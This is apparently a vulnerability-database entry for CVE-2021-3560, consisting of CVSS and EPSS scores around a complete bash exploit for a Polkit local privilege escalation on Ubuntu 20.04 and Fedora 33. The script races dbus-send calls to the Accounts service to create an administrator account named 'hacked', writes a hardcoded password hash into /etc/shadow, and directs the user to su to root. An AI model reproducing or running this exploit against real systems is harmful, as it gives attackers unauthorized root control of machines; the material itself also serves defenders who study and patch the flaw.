7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.012 Low
EPSS
Percentile
84.8%
# Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation
# Date: 06/11/2021
# Exploit Author: J Smith (CadmusofThebes)
# Vendor Homepage: https://www.freedesktop.org/
# Software Link: https://www.freedesktop.org/software/polkit/docs/latest/polkitd.8.html
# Version: polkit 0.105-26 (Ubuntu), polkit 0.117-2 (Fedora)
# Tested on: Ubuntu 20.04, Fedora 33
# CVE: CVE-2021-3560
# Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
#!/bin/bash
# Set the name and display name
userName="hacked"
realName="hacked"
# Set the account as an administrator
accountType=1
# Set the password hash for 'password' and password hint
password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'
passHint="password"
# Check Polkit version
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then
echo "[*] Vulnerable version of polkit found"
else
echo "[!] WARNING: Version of polkit might not vulnerable"
fi
# Validate user is running in SSH instead of desktop terminal
if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then
echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"
exit
fi
# Test the dbus-send timing to load into exploit
echo "[*] Determining dbus-send timing"
realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 )
halfTime=$(echo "scale=3;$realTime/2" | bc)
# Check for user first in case previous run of script failed on password set
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName already exists with uid of $userid"
else
userid=""
echo "[*] Attempting to create account"
while [[ $userid == "" ]]
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName created with uid of $userid"
fi
done
fi
# Add the password to /etc/shadow
# Sleep added to ensure there is enough of a delay between timestamp checks
echo "[*] Adding password to /etc/shadow and enabling user"
sleep 1
currentTimestamp=$(stat -c %Z /etc/shadow)
fileChanged="n"
while [ $fileChanged == "n" ]
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ];then
fileChanged="y"
echo "[*] Exploit complete!"
fi
done
echo ""
echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.012 Low
EPSS
Percentile
84.8%